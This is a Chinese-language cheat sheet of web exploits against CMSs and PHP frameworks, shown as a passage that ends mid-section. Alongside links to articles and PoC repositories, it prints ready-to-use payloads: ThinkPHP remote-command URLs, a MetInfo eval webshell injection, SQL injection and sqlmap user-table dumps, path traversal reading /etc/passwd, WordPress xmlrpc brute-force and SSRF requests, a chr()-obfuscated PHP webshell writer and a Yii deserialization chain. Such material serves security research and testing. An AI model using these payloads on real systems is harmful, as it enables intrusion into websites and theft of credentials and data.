# B/S - Exploits

---

## 免责声明

`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`

---

# 大纲

* **[各类论坛/CMS框架](#各类论坛/cms框架)**
    * [74CMS](#74cms)
    * [dedeCMS](#dedecms)
    * [Discuz](#discuz)
        * [Discuz](#discuz)
        * [Discuz!ML](#discuz!ml)
    * [Drupal](#drupal)
    * [ECshop](#ecshop)
    * [Fastadmin](#fastadmin)
    * [Laravel](#laravel)
    * [jeecg](#jeecg)
    * [Joomla](#joomla)
    * [MetInfo](#metInfo)
    * [October](#october)
    * [SiteServer](#siteserver)
    * [ThinkAdmin](#thinkadmin)
    * [ThinkCMF](#thinkcmf)
    * [ThinkPHP](#thinkphp)
        * [<5](#<5)
        * [5](#5)
    * [WordPress](#wordpress)
    * [Yii](#yii)
    * [YxCMS](#yxcms)
    * [zcncms](#zcncms)
    * [禅道](#禅道)
    * [泛微](#泛微)
    * [致远](#致远)
    * [通达](#通达)
    * [信呼](#信呼)

* **[框架引擎中间件](#框架引擎中间件)**
    * [ActiveMQ](#activemq)
    * [Axis](#axis)
    * [CAS](#cas)
    * [Cocoon](#cocoon)
    * [Druid](#druid)
        * [Apache_Druid](#apache_druid)
    * [Dubbo](#dubbo)
    * [ElasticSearch](#elasticsearch)
    * [Flink](#flink)
    * [httpd](#httpd)
    * [IIS](#iis)
    * [JBOSS](#jboss)
    * [Nacos](#nacos)
    * [Resin](#resin)
    * [RocketMQ](#rocketmq)
    * [shiro](#shiro)
    * [Solr](#solr)
    * [Spring](#spring)
    * [Struts2](#struts2)
    * [Tomcat](#tomcat)
    * [Weblogic](#weblogic)
    * [Websphere](#websphere)

* **[组件](#组件)**
    * [编辑器](#编辑器)
        * [ewebeditor](#ewebeditor)
        * [FCKeditor](#fckeditor)
        * [kindeditor](#kindeditor)
        * [ueditor](#ueditor)
    * [序列化](#序列化)
        * [fastjson](#fastjson)
        * [Jackson](#jackson)
        * [Xstream](#xstream)
    * [JavaScript库](#javascript库)
        * [jQuery](#jquery)
        * [KaTeX](#katex)
    * [其他](#其他)
        * [Ghostscript](#ghostscript)
        * [webuploader](#webuploader)

* **[服务](#服务)**
    * [AppWeb](#appweb)
    * [Cacti](#cacti)
    * [Confluence](#confluence)
    * [Coremail](#coremail)
    * [Crowd](#crowd)
    * [DolphinScheduler](#dolphinscheduler)
    * [FlySpray](#flyspray)
    * [Harbor](#harbor)
    * [Horde_Groupware_Webmail](#horde_groupware_webmail)
    * [Jenkins](#jenkins)
    * [Jira](#jira)
    * [JumpServer](#jumpserver)
    * [Jupyter](#jupyter)
    * [Nexus](#nexus)
    * [nodejs](#nodejs)
    * [noVNC](#novnc)
    * [phpMyAdmin](#phpmyadmin)
    * [PHP](#php)
        * [PHP-FPM](#php-fpm)
    * [Smartbi](#smartbi)
    * [Supervisord](#supervisord)
    * [TRS_WAS](#trs_was)
    * [Webmin](#webmin)
    * [zabbix](#zabbix)

---

# 各类论坛/CMS框架

**什么是 CMS**

内容管理系统 (CMS) 是一种存储所有数据 (如文本,照片,音乐,文档等) 并在你的网站上提供的软件. 它有助于编辑,发布和修改网站的内容.

**工具包**
- [SecWiki/CMS-Hunter](https://github.com/SecWiki/CMS-Hunter) - CMS 漏洞测试用例集合
- [Q2h1Cg/CMS-Exploit-Framework](https://github.com/Q2h1Cg/CMS-Exploit-Framework) - 一款 CMS 漏洞利用框架，通过它可以很容易地获取、开发 CMS 漏洞利用插件并对目标应用进行测试。
- [Lucifer1993/AngelSword](https://github.com/Lucifer1993/AngelSword) - Python3 编写的 CMS 漏洞检测框架
- [foospidy/web-cve-tests](https://github.com/foospidy/web-cve-tests) - A simple framework for sending test payloads for known web CVEs.

## 74CMS

**骑士 CMS 6.0.48以下文件包含getshell**
- 文章
    - [骑士cms文件包含getshell复现](https://mp.weixin.qq.com/s/erBzIapx1bz8f1ArWwwBwQ)

## dedeCMS

> 官网 : http://www.dedecms.com/

**工具**
- [lengjibo/dedecmscan](https://github.com/lengjibo/dedecmscan) - 织梦全版本漏洞扫描工具

**文章**
- [解决DEDECMS历史难题--找后台目录](https://xz.aliyun.com/t/2064)

---

## Discuz
### Discuz

> 官网 : https://www.discuz.net/forum.php

**文章**
- [Discuz!X 前台任意文件删除漏洞深入解析](https://xz.aliyun.com/t/34)
- [Discuz!因Memcached未授权访问导致的RCE](https://xz.aliyun.com/t/2018)
- [Discuz!X 个人账户删除漏洞](https://xz.aliyun.com/t/2297)
- [Discuz!x3.4后台文件任意删除漏洞分析](https://xz.aliyun.com/t/4725)
- [DiscuzX v3.4 排行页面存储型XSS漏洞 分析](https://xz.aliyun.com/t/2899)
- [WooYun-2015-137991 Discuz利用UC_KEY进行前台getshell2](https://php.mengsec.com/bugs/wooyun-2015-0137991.html)

**CVE-2018-14729**
- 简介

    Discuz！1.5 至 2.5 中的 `source/admincp/admincp_db.php` 中的数据库备份功能允许远程攻击者执行任意 PHP 代码。

- 影响版本
    - Discuz! 1.5 ~ 2.5

- 文章
    - [Discuz! 1.5-2.5 命令执行漏洞分析(CVE-2018-14729)](https://paper.seebug.org/763/)

- POC | Payload | exp
    - [FoolMitAh/CVE-2018-14729](https://github.com/FoolMitAh/CVE-2018-14729)

### Discuz!ML

> 官网 : https://discuz.ml/

**discuzml-v-3-x-code-injection-vulnerability**
- POC | Payload | exp
    - [theLSA/discuz-ml-rce](https://github.com/theLSA/discuz-ml-rce)

**CVE-2019-13956**
- 简介

    该漏洞存在 discuz ml(多国语言版)中,cookie 中的 language 可控并且没有严格过滤,导致可以远程代码执行。

- 影响版本
    - Discuz! ML V3.2
    - Discuz! ML V3.3
    - Discuz! ML V3.4

- 文章
    - [Discuz! ML远程代码执行(CVE-2019-13956)](https://www.cnblogs.com/yuzly/p/11386755.html)
    - [Discuz!ML V3.X 代码注入分析 ](https://xz.aliyun.com/t/5638)

---

## Drupal

> 官网 : https://www.drupal.org/

**Tips**

对'/node/$'进行Fuzz，其中'$'是一个数字（从1到500）。⽐如说："/node/$"。
- https://target.com/node/1
- https://target.com/node/2
- https://target.com/node/3

**CVE-2014-3704 “Drupalgeddon” SQL 注入漏洞**
- 简介

    Drupal 7.0~7.31 版本中存在一处无需认证的 SQL 漏洞。通过该漏洞，攻击者可以执行任意 SQL 语句，插入、修改管理员信息，甚至执行任意代码。

- 影响版本
    - Drupal 7.0 ~ 7.31

- POC | Payload | exp
    - https://vulhub.org/#/environments/drupal/CVE-2014-3704/
    - https://www.exploit-db.com/exploits/34992

- MSF Module
    ```bash
    use exploit/multi/http/drupal_drupageddon
    set RHOSTS [ip]
    run
    ```

**CVE-2017-6920 Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞**
- 简介

    2017年6月21日,Drupal 官方发布了一个编号为 CVE-2017- 6920 的漏洞,影响为 Critical.这是 Drupal Core 的 YAML 解析器处理不当所导致的一个远程代码执行漏洞,影响 8.x 的 Drupal Core.

- 影响版本
    - Drupal 8.x

- 文章
    - [CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造](https://paper.seebug.org/334/)
    - [Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞 (CVE-2017-6920) ](https://vulhub.org/#/environments/drupal/CVE-2017-6920/)

**CVE-2018-7600 Drupal Drupalgeddon 2 远程代码执行漏洞**
- 简介

    Drupal 是一款用量庞大的 CMS，其 6/7/8 版本的 Form API 中存在一处远程代码执行漏洞。

- 影响版本
    - Drupal 6/7/8

- POC | Payload | exp
    - https://github.com/vulhub/vulhub/blob/master/drupal/CVE-2018-7600/README.zh-cn.md
    - [pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600)
    - [dreadlocked/Drupalgeddon2](https://github.com/dreadlocked/Drupalgeddon2)

- MSF Module
    ```bash
    use exploit/unix/webapp/drupal_drupalgeddon2
    set RHOSTS [ip]
    run
    ```

**CVE-2018-7602 远程代码执行漏洞**
- 影响版本
    - Drupal 7.x
    - Drupal 8.x

- POC | Payload | exp
    - [Drupal 远程代码执行漏洞（CVE-2018-7602）](https://vulhub.org/#/environments/drupal/CVE-2018-7602/)
    - [CVE-2018-7600/drupa7-CVE-2018-7602.py](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py)

**CVE-2019-6339 远程代码执行漏洞**
- 简介

    phar 反序列化 RCE

- 影响版本
    - Drupal 7.0 ~ 7.62
    - Drupal 8.5.0 ~ 8.5.9
    - Drupal 8.6.0 ~ 8.6.6

- 文章
    - [Drupal 1-click to RCE 分析](https://paper.seebug.org/897/)

- POC | Payload | exp
    - https://vulhub.org/#/environments/drupal/CVE-2019-6339/

**CVE-2019-6341 XSS**
- 简介

    通过文件模块或者子系统上传恶意文件触发 XSS 漏洞

- 影响版本
    - Drupal 7.0 ~ 7.65
    - Drupal 8.5.0 ~ 8.5.14
    - Drupal 8.6.0 ~ 8.6.13

- 文章
    - [Drupal 1-click to RCE 分析](https://paper.seebug.org/897/)

- POC | Payload | exp
    - https://vulhub.org/#/environments/drupal/CVE-2019-6341/

---

## ECshop

> 官网 : http://www.ecshop.com/

ECShop 是一款 B2C 独立网店系统,适合企业及个人快速构建个性化网上商店.系统是基于 PHP 语言及 MYSQL 数据库构架开发的跨平台开源程序.

**ECShop 2.x/3.x SQL 注入/任意代码执行漏洞**
- 简介

    其2017年及以前的版本中,存在一处 SQL 注入漏洞,通过该漏洞可注入恶意数据,最终导致任意代码执行漏洞.其 3.6.0 最新版已修复该漏洞.

- 影响版本
    - ECShop 2.x/3.x

- 文章
    - [ECShop 2.x/3.x SQL注入/任意代码执行漏洞](https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md)
    - [ecshop2.x 代码执行](https://paper.seebug.org/691/)

---

## Fastadmin

> 项目: https://github.com/karsonzhang/fastadmin

FastAdmin 是一款基于 ThinkPHP5+Bootstrap 开发的极速后台开发框架。FastAdmin 基于 Apache2.0 开源协议发布，目前被广泛应用于各大行业应用后台管理。

**Fastadmin 前台 Getshell**

- 文章
    - https://github.com/karsonzhang/fastadmin/issues/73

---

## Laravel

**CVE-2021-3129 Laravel Debug 页面 RCE**
- 文章
    - [LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION](https://www.ambionics.io/blog/laravel-debug-rce)
    - [漏洞分析 | Laravel Debug页面RCE（CVE-2021-3129）分析复现](https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g)

---

## jeecg

**相关文章**
- [JAVA代码审计-JEECG快速开发平台（一）](https://xz.aliyun.com/t/4405)

**密码重置**
- POC | Payload | exp
    - 当访问loginController.do?goPwdInit 或 pwdInit时，即使用户已经修改过密码，admin的密码仍会被重置为123456。

**sessionid 信息泄露**
- POC | Payload | exp
    ```
    http://localhost:8080/webpage/system/druid/websession.json
    ```

**文件上传**
- POC | Payload | exp
    ```
    /jeecgFormDemoController.do?commonUpload
    ```

---

## Joomla

> 官网 : https://www.joomla.org/

**工具**
- [rezasp/joomscan](https://github.com/rezasp/joomscan) - 效果很差,没啥用

**CVE-2017-8917 Joomla! 3.7 Core SQL 注入**
- 简介

    Joomla 于5月17日发布了新版本 3.7.1,本次更新中修复一个高危 SQL 注入漏洞,成功利用该漏洞后攻击者可以在未授权的情况下进行 SQL 注入。

- 影响版本
    - joomla 3.7.0

- 文章
    - [Joomla! 3.7 Core SQL 注入 (CVE-2017-8917)漏洞分析](https://paper.seebug.org/305/)

- POC | Payload | exp
    ```
    http://你的 IP 地址:端口号/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
    ```

    sqlmap payload
    ```bash
    sqlmap -u "http://192.168.1.1/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -T '#__users' -C name,password --dump
    ```

---

## MetInfo

> 官网: https://www.metinfo.cn/

**文章**
- [MetInfo5.3.19安装过程过滤不严导致Getshell](https://bbs.ichunqiu.com/thread-35305-1-17.html)
- [MetInfo6.0.0漏洞集合(一)](https://bbs.ichunqiu.com/thread-43416-1-7.html)
- [MetInfo6.1.0 漏洞(二)](https://bbs.ichunqiu.com/thread-43625-1-4.html)
- [Metinfo 6.1.2 SQL注入](https://bbs.ichunqiu.com/thread-46687-1-1.html)
- [metinfo最新版本后台getshell](https://bbs.ichunqiu.com/thread-29686-1-2.html)
- [Metinfo7的一些鸡肋漏洞](https://evi1.cn/post/metinfo7-bug/)
- [Metinfo7.0 SQL Blind Injection](https://github.com/T3qui1a/metinfo_sqlinjection/issues/1)

**CVE-2018-13024**
- 简介

    远程攻击者可通过向 admin/column/save.php 文件发送 `module` 参数利用该漏洞向 .php 文件写入代码并执行该代码.

- 影响版本
    - MetInfo 5.3.16
    - MetInfo 6.0.0

- 文章
    - [CVE-2018-13024复现及一次简单的内网渗透](https://www.freebuf.com/news/193748.html)

- POC | Payload | exp

    - `admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[1]);/*`

---

## October

> 官网: http://octobercms.com

**October CMS 1.0.412 - Multiple Vulnerabilities**
- POC | Payload | exp
    - [October CMS 1.0.412 - Multiple Vulnerabilities](https://www.exploit-db.com/exploits/41936)

---

## SiteServer

**相关文章**
- [代码审计 | SiteServerCMS身份认证机制](https://www.freebuf.com/vuls/228448.html)
- [代码审计 | SiteServerCMS密钥攻击](https://www.freebuf.com/vuls/234549.html)

**找回密码**

管理员的 “密码找回问题答案” 为非强制项，一般都留空。此时如果在密码找回页面，输入空密码找回答案，就可以获得当前管理员的密码明文（页面有做 javascript 限制答案长度不能为 0，但禁用 javascript 即可绕过）

访问 /siteserver/forgetPassword.aspx, 然后禁止 Javascript。输入用户名，获取密码

**6.8.3 验证码绕过 & 后台多处注入**
- 相关文章
    - [某Server CMS最新6.8.3版本验证码绕过&后台多处注入](https://xz.aliyun.com/t/4119)

- POC | Payload | exp
    ```
    POST /api/v1/administrators/actions/login HTTP/1.1
    {"account":"admin","password":"7fef6171469e80d32c0559f88b377245","isAutoLogin":true}
    ```
    ```
    GET /SiteServer/settings/pageAdministrator.aspx?areaId=0&departmentId=0&keyword=1&lastActivityDate=3&order=1%2C(select%20case%20when%20(3*2*1=6%20AND%2000043=00043)%20then%201%20else%201*(select%20table_name%20from%20information_schema.tables)end)=1&pageNum=50&roleName= HTTP/1.1

    GET /SiteServer/settings/pageUser.aspx?creationDate=0&groupId=-1&keyword=&lastActivityDate=0&loginCount=0&pageNum=0&searchType=if(now()=sysdate()%2Csleep(0)%2C0) HTTP/1.1
    ```

**SiteServer CMS 远程模板下载 Getshell 漏洞**
- 相关文章
    - [简记野生应急捕获到的siteserver远程模板下载Getshell漏洞](https://www.freebuf.com/articles/web/195105.html)

- POC | Payload | exp
    - [zhaoweiho/SiteServer-CMS-Remote-download-Getshell](https://github.com/zhaoweiho/SiteServer-CMS-Remote-download-Getshell)

---

## ThinkAdmin

> 项目地址 : https://github.com/zoujingli/ThinkAdmin

**ThinkAdminV6 任意文件操作 CVE-2020-25540**
- 文章
    - [ThinkAdminV6 未授权访问and 任意文件查看 漏洞复现](https://blog.csdn.net/Adminxe/article/details/108744912)

- POC | Payload | exp
    ```
    1、目录遍历注意 POST 数据包 rules 参数值需要 URL 编码
    POST /admin.html?s=admin/api.Update/node
    rules=%5B%22.%2F%22%5D

    2、文件读取,后面那一串是 UTF8 字符串加密后的结果。计算方式在 Update.php 中的加密函数。
    /admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34
    ```

---

## ThinkCMF

> 官网: https://www.thinkcmf.com/

**ThinkCMF 任意内容包含漏洞**
- POC | Payload | exp
    - [jas502n/ThinkCMF_getshell](https://github.com/jas502n/ThinkCMF_getshell)

---

## ThinkPHP

> 官网: http://www.thinkphp.cn/

### <5

**文章**
- [thinkphp一些版本的通杀漏洞payload](http://www.moonsec.com/post-853.html)
- [代码审计 | ThinkPHP3.x、5.x框架任意文件包含](https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=39586)
- [Thinkphp2.1爆出重大安全漏洞](https://www.cnblogs.com/milantgh/p/3639178.html)
- [ThinkPHP3.2.3框架实现安全数据库操作分析](https://xz.aliyun.com/t/79)
- [ThinkPHP-漏洞分析集合 ](https://xz.aliyun.com/t/2812)
- [ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)](https://xz.aliyun.com/t/2629)
- [Thinkphp框架 3.2.x sql注入漏洞分析](https://bbs.ichunqiu.com/thread-38901-1-12.html)

**日志泄露**
```bash
/Application/Runtime/Logs/Home/16_09_06.log # 其中 Application 可能会变，比如 App
/Runtime/Logs/Home/16_09_06.log             # 年份_月份_日期
/Runtime/Logs/User/16_09_06.log             # 年份_月份_日期
```
- [whirlwind110/tphack](https://github.com/whirlwind110/tphack) - Thinkphp3/5 Log 文件泄漏利用工具

### 5

**文章**
- [ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用 (GetShell) ](https://www.vulnspy.com/cn-thinkphp-5.x-rce/)
- [代码审计 | ThinkPHP3.x、5.x框架任意文件包含](https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=39586)
- [ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞](https://blog.csdn.net/csacs/article/details/86668057)
- [ThinkPHP v5.1.22曝出SQL注入漏洞](https://nosec.org/home/detail/1821.html)
- [ThinkPHP-漏洞分析集合 ](https://xz.aliyun.com/t/2812)
- [ThinkPHP 5.1.x SQL注入漏洞分析](https://www.freebuf.com/vuls/185420.html)
- [ThinkPHP框架 < 5.0.16 sql注入漏洞分析](https://bbs.ichunqiu.com/thread-38284-1-13.html)
- [ThinkPHP 5.x 远程命令执行漏洞利用过程](https://laucyun.com/a9142c328b103cd86a3715bd5073c4be.html)
- [ThinkPHP漏洞总结](http://zone.secevery.com/article/1165)

**工具**
- [Lucifer1993/TPscan](https://github.com/Lucifer1993/TPscan) - 一键 ThinkPHP 漏洞检测
- [theLSA/tp5-getshell](https://github.com/theLSA/tp5-getshell) - thinkphp5 rce 漏洞检测工具
- [sukabuliet/ThinkphpRCE](https://github.com/sukabuliet/ThinkphpRCE) - Thinkphp rce 扫描脚本，附带日志扫描
- [tangxiaofeng7/TPScan](https://github.com/tangxiaofeng7/TPScan)

**资源**
- [Mochazz/ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) - 关于 ThinkPHP 框架的历史漏洞分析集合
- [SkyBlueEternal/thinkphp-RCE-POC-Collection](https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection) - thinkphp v5.x 远程代码执行漏洞-POC集合

**日志泄露**
```bash
/runtime/log/202004/1.log       # 年月/数字
```
- [whirlwind110/tphack](https://github.com/whirlwind110/tphack) - Thinkphp 3/5 Log 文件泄漏利用工具

**thinkphp 5**
```
/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
(post)public/index.php (data)c=exec&f=calc.exe&_method=filter
```

**thinkphp 5.0.10(完整版)**
```
(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system
```

**thinkphp 5.0.21**
```
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
```

**thinkphp 5.0.22**
```
/?s=.|think\config/get&name=database.username
/?s=.|think\config/get&name=database.password
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
```

**thinkphp 5.0.23(完整版)**
```
(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
```

**thinkphp 5.0.23（完整版）debug模式**
```
(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
```

**thinkphp 5.1.\***
```
/?s=index/\think\Request/input&filter=phpinfo&data=1
/?s=index/\think\Request/input&filter=system&data=cmd
/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
(post)public/index.php (data)c=exec&f=calc.exe&_method=filter
```

**thinkphp 5.2.\***
```
(post)public/index.php (data)c=exec&f=calc.exe&_method=filter
```

**未知版本未知版本**
```
?s=index/\think\module/action/param1/${@phpinfo()}
?s=index/\think\Module/Action/Param/${@phpinfo()}
?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
index.php?s=/home/article/view_recent/name/1'

header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"

index.php?s=/home/shopcart/getPricetotal/tag/1%27
index.php?s=/home/shopcart/getpriceNum/id/1%27
index.php?s=/home/user/cut/id/1%27
index.php?s=/home/service/index/id/1%27
index.php?s=/home/pay/chongzhi/orderid/1%27
index.php?s=/home/pay/index/orderid/1%27
index.php?s=/home/order/complete/id/1%27
index.php?s=/home/order/complete/id/1%27
index.php?s=/home/order/detail/id/1%27
index.php?s=/home/order/cancel/id/1%27
index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+

POST /index.php?s=/home/user/checkcode/ HTTP/1.1
Content-Disposition: form-data; name="couponid"
1') union select sleep('''+str(sleep_time)+''')#
```

---

## WordPress

> 官网 : https://wordpress.org/

WordPress 是一个开源的内容管理系统(CMS),允许用户构建动态网站和博客.

**搭建教程**
- [WordPress 搭建](../../../Integrated/Linux/Power-Linux.md#WordPress)

**Tips**

- 默认的登录地址一般是 `/wp-admin` 或 `/wp-login.php`

**工具**
- [wpscanteam/wpscan](https://github.com/wpscanteam/wpscan) - kali 自带,漏洞扫描需要 API Token,可扫用户、漏洞、目录,挺好用的
    ```bash
    wpscan --url https://www.xxxxx.com/     # 直接扫描
    wpscan --url https://www.xxxxx.com/ --enumerate u    # 枚举用户
    wpscan --url https://www.xxxxx.com/ --passwords /tmp/password.txt   # 密码爆破
    wpscan --url https://www.xxxxx.com/ --usernames admin --passwords out.txt  # 指定用户爆破
    wpscan --url https://www.xxxxx.com/ --api-token xxxxxxxxCX8TTkkgt2oIY   # 使用 API Token,扫描漏洞
    wpscan --url https://www.xxxxx.com/ -e vp --api-token xxxxxxx    # 扫描插件漏洞
    wpscan --url https://www.xxxxx.com/ -e vt --api-token xxxxxxx    # 扫描主题漏洞
    ```
    - [WPScan使用完整教程之记一次对WordPress的渗透过程](https://xz.aliyun.com/t/2794)

**xmlrpc.php**

- [xmlrpc.php 漏洞利用](https://blog.csdn.net/u012206617/article/details/109002948)
- 查看系统允许的方法
    ```
    POST /wordpress/xmlrpc.php HTTP/1.1
    Host: www.example.com
    Content-Length: 99

    <methodCall>
    <methodName>system.listMethods</methodName>
    <params></params>
    </methodCall>
    ```

- 账号爆破

    一般情况下，wordpress 的管理后台都会设置账号登录失败次数限制，因此，可以通过 xmlprc.php 接口来进行爆破。通常会使用 wp.getUserBlogs、wp.getCategories 和 metaWeblog.getUsersBlogs 这个方法来进行爆破，也可以使用其他的方法。
    ```
    POST /wordpress/xmlrpc.php HTTP/1.1
    Host: www.example.com
    Content-Length: 99

    <methodCall>
    <methodName>wp.getUsersBlogs</methodName>
    <params>
    <param><value>admin</value></param>
    <param><value>password</value></param>
    </params>
    </methodCall>
    ```

- SSRF

    WordPress 版本 <3.5.1, 通过 Pingback 可以实现的服务器端请求伪造 (Server-side request forgery，SSRF) 和远程端口扫描。
    ```
    POST /wordpress/xmlrpc.php HTTP/1.1
    Host: www.example.com
    Content-Length: 99

    <methodCall>
    <methodName>pingback.ping</methodName>
    <params><param>
    <value><string>要探测的ip和端口：http://127.0.0.1:80</string></value>
    </param><param><value><string>网站上一篇博客的URL：http://localhost/wordpress/?p=1)<SOME VALID BLOG FROM THE SITE ></string>
    </value></param></params>
    </methodCall>
    ```

**WordPress 后台拿 SHELL**
- 后台编辑404页面Getshell

    "主题"-“编辑”-“404.php”
    ```
    <script language="php">fputs(fopen(chr(46).chr(47).chr(99).chr(111).chr(110).chr(103).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(112).chr(97).chr(115).chr(115).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));</script>
    ```
    插到文件头,404默认模板路径是：wp-content/themes/twentyten/404.php,其中"twentyten"目录是默认模板目录。更新完直接访问 localhost/wp-content/themes/twentyten/404.php 就会在twentyten目录生成一句话后门文件cong.php 密码pass，插入的代码是Chr加密，可自行编辑。（仔细看代码，文件名与一句话代码用" ,w "隔开了）

- 上传本地主题Getshell

    本机建立目录“test”,可以直接把一句话放到index.php文件，再新建一个style.css样式文件(版本不同，上传时会判断是否存在"index.php"文件和"style.css"样式文件。)

    打包test目录为zip文件。WP后台的主题管理，上传主题，安装。则你的后门路径为： `localhost/wp-content/themes/test/index.php`

**插件漏洞**
- **WordPress Plugin Mail Masta 1.0 - Local File Inclusion**
    - https://www.exploit-db.com/exploits/40290

**CVE-2019-8942 & CVE-2019-8943 WordPress Crop-image Shell Upload**
- 简介

    此模块利用 WordPress 版本5.0.0和<= 4.9.8上的路径遍历和本地文件包含漏洞。 裁剪图像功能允许用户（至少具有作者权限）通过在上载期间更改 _wp_attached_file 引用来调整图像大小并执行路径遍历。 利用的第二部分将通过在创建帖子时更改 _wp_page_template 属性，将该图像包含在当前主题中。 目前，此漏洞利用模块仅适用于基于 Unix 的系统。

- 影响版本
    - wordpress < 4.9.9
    - wordpress 5.0 ~ 5.0:rc3

- POC | Payload | exp
    - [brianwrf/WordPress_4.9.8_RCE_POC: A simple PoC for WordPress RCE (author priviledge), refer to CVE-2019-8942 and CVE-2019-8943.](https://github.com/brianwrf/WordPress_4.9.8_RCE_POC)

- MSF Module
    ```
    use exploit/multi/http/wp_crop_rce
    ```

**WordPress <= 5.3.? DoS**
- POC | Payload | exp
    - [wordpress-dos-poc](https://github.com/roddux/wordpress-dos-poc)

---

## Yii

> 官网 : https://www.yiichina.com/

Yii2 是一个高性能，基于组件的开源 PHP 框架，用于快速开发现代 Web 应用程序。

**Yii 框架反序列化 RCE**
- 简介

    Yii Framework 2 在其 9月14 日发布的更新日志中公布了一个反序列化远程命令执行漏洞(CVE-2020-15148)。官方通过给yii\db\BatchQueryResult类加上__wakeup()函数，禁用了yii\db\BatchQueryResult的反序列化，阻止了应用程序对任意用户输入调用’unserialize()’造成的远程命令执行。

- 影响版本
    - Yii2 Version < 2.0.38

- 文章
    - [CVE-2020-15148 Yii2反序列化RCE POP链分析](https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA)

- POC | Payload | exp
    ```
    <?php
    namespace yii\rest{
        class CreateAction{
            public $checkAccess;
            public $id;

            public function __construct(){
                $this->checkAccess = 'system';
                $this->id = 'ls -al';
            }
        }
    }

    namespace Faker{
        use yii\rest\CreateAction;

        class Generator{
            protected $formatters;

            public function __construct(){
                $this->formatters['close'] = [new CreateAction, 'run'];
            }
        }
    }
    namespace yii\db{
        use Faker\Generator;

        class BatchQueryResult{
            private $_dataReader;

            public function __construct(){
                $this->_dataReader = new Generator;
            }
        }
    }
    namespace{
        echo base64_encode(serialize(new yii\db\BatchQueryResult));
    }
    ?>
    ```

---

## YxCMS

> 官网 : http://www.yxcms.net

**常见路径**
```
/index.php?r=admin  # 后台  默认管理员账号密码 admin 123456
```

**YxCMS 1.4.7 多个漏洞**
- 文章
    - [YxCMS 1.4.7 最新版漏洞分析](https://bbs.ichunqiu.com/thread-45926-1-1.html)

---

## zcncms

**文章**
- [zcncms多个漏洞-Musec](http://musec.lofter.com/post/303379_d39f0c)
- [ZCNCMS审计及漏洞分析](https://www.anquanke.com/post/id/179782)
- [代码审计——zcncms后台SQL注入(一) ](http://0day5.com/archives/4053/)
- [代码审计——zcncms几处漏洞合集(二) ](http://0day5.com/archives/4062/)

---

## 禅道

**CNVD-2020-65242 后台任意文件下载**
- POC | Payload | exp
    ```
    index.php?m=file&f=sendDownHeader&fileName=2&fileType=1&content=/etc/passwd&type=file
    index.php?m=file&f=sendDownHeader&fileName=2&fileType=1&content=./../../config/my.php&type=file
    ```

**后台 im 模块 downloadXxdPackage 函数任意文件下载**
- POC | Payload | exp
    ```
    index.php?m=im&f=downloadXxdPackage&xxdFileName=../../../../../../../../../etc/passwd
    ```

---

## 泛微

> 官网 : https://www.weaver.com.cn/

**文章**
- [应用安全 - 软件漏洞 - 泛微OA漏洞汇总](https://www.cnblogs.com/AtesetEnginner/p/11558469.html)

**指纹**
- `Set-Cookie: ecology_JSessionId=`
- `ecology`

**敏感文件泄露**
- `/messager/users.data`
- `/plugin/ewe/jsp/config.jsp`

**路径遍历**
- `/plugin/ewe/admin/upload.jsp?id=11&dir=../../../`
- `/weaver/weaver.file.SignatureDownLoad?markId=1+union+select+'../ecology/WEB-INF/prop/weaver.properties'`

**E-Mobile 4.5 RCE**
```
**.**.**.**/verifyLogin.do
